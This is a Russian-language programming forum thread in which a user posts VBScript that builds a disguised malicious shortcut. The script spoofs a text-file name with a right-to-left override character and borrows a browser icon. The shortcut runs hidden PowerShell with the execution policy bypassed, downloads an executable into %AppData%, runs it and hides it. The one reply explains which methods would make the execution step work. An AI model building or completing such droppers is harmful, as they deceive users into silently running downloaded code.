cHl Security Ответов: 1

Как я могу выполнить загруженный файл в месте загрузки с помощью vbscript?


Я пытаюсь сделать ярлык файла, который загружается putty.exe в каталог %appdata% , а также выполнить загруженный файл в windows uding vbscript, но активный скрипт ниже только скачать putty.exe в каталог %appdata% без выполнения установочного файла, загруженного в %appdata%.

Что я уже пробовал:

Dim DownLoadLink, FileName
DownLoadLink = "'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'"
FileName = "'%AppData%\putty.exe'"

Set WshShell = CreateObject("WScript.Shell")
Set ShApp = CreateObject("Shell.Application")
DesktopPath = ShApp.Namespace(0).Self.Path
unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b")
unicodeName = "unicode.lnk"
shortcutPath = DesktopPath & "\" & unicodeName
Set lnk = WshShell.CreateShortcut(shortcutPath)
lnk.TargetPath = "powershell.exe"
lnk.Arguments =  "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & FileName & ");./" & Filename & ";(get-item " & Filename & ").Attributes += 'Hidden';"
lnk.IconLocation = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
lnk.Description = "Type: Shortcut File"
lnk.Save()
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file = FSO.GetFile(shortcutPath)
file.name = unicode & ".exe"


Любое возможное решение этой проблемы будет оценено по достоинству. Спасибо

1 Ответов

Рейтинг:
1

Dave Kreskowiak

Ну, это было легко. У вас нет кода, который фактически запускает то, что вы загрузили, поэтому он не запускает то, что вы загрузили.

Возможно, вы захотите взглянуть на метод Run[^] из WScript.Объект оболочки, который вы создали для этого.

Или же вы также можете использовать Метод Exec[^] из Wscript.Объект оболочки.

Или же вы можете использовать Метод ShellExecute[^] из раковины.Объект приложения. Это эквивалентно нажатию кнопки Пуск/Выполнить в Проводнике.